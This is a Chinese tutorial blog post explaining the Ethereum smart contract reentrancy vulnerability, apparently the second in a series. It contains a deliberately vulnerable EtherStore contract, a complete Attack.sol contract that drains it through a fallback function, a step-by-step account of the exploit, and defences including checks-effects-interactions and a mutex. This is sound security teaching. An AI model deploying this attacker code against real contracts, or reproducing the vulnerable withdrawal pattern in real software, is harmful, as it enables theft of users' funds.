区块链智能合约安全之二(重入漏洞)

上一篇:区块链智能合约安全之一(盗币攻击)

以太坊智能合约的特点之一是能够调用和利用其他外部合约的代码。合约通常也处理Ether,因此通常会将Ether发送给各种外部用户地址。调用外部合约或将以太网发送到地址的操作需要合约提交外部调用。这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码(即通过回退函数),包括回调自身。因此代码执行“重新进入”合约。这种攻击被用于臭名昭著的DAO攻击。
漏洞
当合约将Ether发送到未知地址时,可能会发生此攻击。攻击者可以在Fallback函数中的外部地址处构建一个包含恶意代码的合约。因此,当合约向此地址发送Ether时,它将调用恶意代码。通常,恶意代码会在易受攻击的合约上执行一个函数、该函数会运行一项开发人员不希望的操作。“重入”这个名称来源于外部恶意合约回复了易受攻击合约的功能,并在易受攻击的合约的任意位置“重新输入”了代码执行。
为了澄清这一点,请考虑简单易受伤害的合约,该合约充当以太坊保险库,允许存款人每周只提取1个Ether。

EtherStore.sol:
contractEtherStore{
uint256publicwithdrawalLimit=1ether;
mapping(address=>uint256)publiclastWithdrawTime;
mapping(address=>uint256)publicbalances;
functiondepositFunds()publicpayable{
balances[msg.sender]+=msg.value;
}
functionwithdrawFunds(uint256_weiToWithdraw)public{
require(balances[msg.sender]>=_weiToWithdraw);
//limitthewithdrawal
require(_weiToWithdraw<=withdrawalLimit);
//limitthetimeallowedtowithdraw
require(now>=lastWithdrawTime[msg.sender]+1weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender]-=_weiToWithdraw;
lastWithdrawTime[msg.sender]=now;
}
}

该合约有两个公共职能。depositFunds()和withdrawFunds()。该depositFunds()功能只是增加发件人余额。该withdrawFunds()功能允许发件人指定要撤回的wei的数量。如果所要求的退出金额小于1Ether并且在上周没有发生撤回,它才会成功。额,真会是这样吗?...

该漏洞出现在[17]行,我们向用户发送他们所要求的以太数量。考虑一个恶意攻击者创建下列合约

Attack.sol:


import"EtherStore.sol";

contractAttack{
EtherStorepublicetherStore;
//intialisetheetherStorevariablewiththecontractaddress
constructor(address_etherStoreAddress){
etherStore=EtherStore(_etherStoreAddress);
}
functionpwnEtherStore()publicpayable{
//attacktothenearestether
require(msg.value>=1ether);
//sendethtothedepositFunds()function
etherStore.depositFunds.value(1ether)();
//startthemagic
etherStore.withdrawFunds(1ether);
}
functioncollectEther()public{
msg.sender.transfer(this.balance);
}
//fallbackfunction-wherethemagichappens
function()payable{
if(etherStore.balance>1ether){
etherStore.withdrawFunds(1ether);
}
}
}

让我们看看这个恶意合约是如何利用我们的EtherStore合约的。攻击者可以(假定恶意合约地址为0x0...123)使用EtherStore合约地址作为构造函数参数来创建上述合约。这将初始化并将公共变量etherStore指向我们想要攻击的合约。然后攻击者会调用这个pwnEtherStore()函数,并存入一些Ehter(大于或等于1),比方说1Ehter,在这个例子中。在这个例子中,我们假设一些其他用户已经将若干Ehter存入这份合约中,比方说它的当前余额就是10ether。然后会发生以下情况:

1.Attack.sol-Line[15]-EtherStore合约的despoitFunds函数将会被调用,并伴随1Ether的mag.value(和大量的Gas)。sender(msg.sender)将是我们的恶意合约(0x0...123)。因此,balances[0x0..123]=1ether。
2.Attack.sol-Line[17]-恶意合约将使用一个参数来调用合约的withdrawFunds()功能。这将通过所有要求(合约的行[12]-[16]),因为我们以前没有提款。
3.EtherStore.sol-行[17]-合约将发送1Ether回恶意合约。
4.Attack.sol-Line[25]-发送给恶意合约的Ether将执行fallback函数。
5.Attack.sol-Line[26]-EtherStore合约的总余额是10Ether,现在是9Ether,如果声明通过。
6.Attack.sol-Line[27]-回退函数然后再次动用EtherStore中的withdrawFunds()函数并“重入”EtherStore合约。
7.EtherStore.sol-行[11]-在第二次调用withdrawFunds()时,我们的余额仍然是1Ether,因为行[18]尚未执行。因此,我们仍然有balances[0x0..123]=1ether。lastWithdrawTime变量也是这种情况。我们再次通过所有要求。
8.EtherStore.sol-行[17]-我们撤回另外的1Ether。
9.步骤4-8将重复-直到EtherStore.balance>=1,这是由Attack.sol-Line[26]所指定的。
10.Attack.sol-Line[26]-一旦在EtherStore合约中留下少于1(或更少)的Ether,此if语句将失败。这样EtherStore就会执行合约的行[18]和行[19](每次调用withdrawFunds()函数之后都会执行这两行)。
11.EtherStore.sol-行[18]和[19]-balances和lastWithdrawTime映射将被设置并且执行将结束。

最终的结果是,攻击者只用一笔交易,便立即从EtherStore合约中取出了(除去1个Ether以外)所有的Ether。
预防技术
有许多常用技术可以帮助避免智能合约中潜在的重入漏洞。
第一种是(在可能的情况下)在将Ether发送给外部合约时使用内置的transfer()函数。转账功能只发送2300gas不足以使目的地址/合约调用另一份合约(即重入发送合约)。

第二种技术是确保所有改变状态变量的逻辑发生在Ether被发送出合约(或任何外部调用)之前。在这个EtherStore例子中,EtherStore.sol-行[18]和行[19]应放在行[17]之前。将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为检查效果交互(checks-effects-interactions)模式。

第三种技术是引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。
给EtherStore.sol应用所有这些技术(同时使用全部三种技术是没必要的,只是为了演示目的而已)会出现如下的防重入合约:

contractEtherStore{
//initialisethemutex
boolreEntrancyMutex=false;
uint256publicwithdrawalLimit=1ether;
mapping(address=>uint256)publiclastWithdrawTime;
mapping(address=>uint256)publicbalances;
functiondepositFunds()publicpayable{
balances[msg.sender]+=msg.value;
}
functionwithdrawFunds(uint256_weiToWithdraw)public{
require(!reEntrancyMutex);
require(balances[msg.sender]>=_weiToWithdraw);
//limitthewithdrawal
require(_weiToWithdraw<=withdrawalLimit);
//limitthetimeallowedtowithdraw
require(now>=lastWithdrawTime[msg.sender]+1weeks);
balances[msg.sender]-=_weiToWithdraw;
lastWithdrawTime[msg.sender]=now;
//setthereEntrancymutexbeforetheexternalcall
reEntrancyMutex=true;
msg.sender.transfer(_weiToWithdraw);
//releasethemutexaftertheexternalcall
reEntrancyMutex=false;
}
}

真实的例子:TheDAO
TheDAO(分散式自治组织)是以太坊早期发展的主要黑客之一。当时,该合约持有1.5亿美元以上。重入在这次攻击中发挥了重要作用,最终导致了EthereumClassic(ETC)的分叉。有关TheDAO漏洞的详细分析,请参阅PhilDaian的文章。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容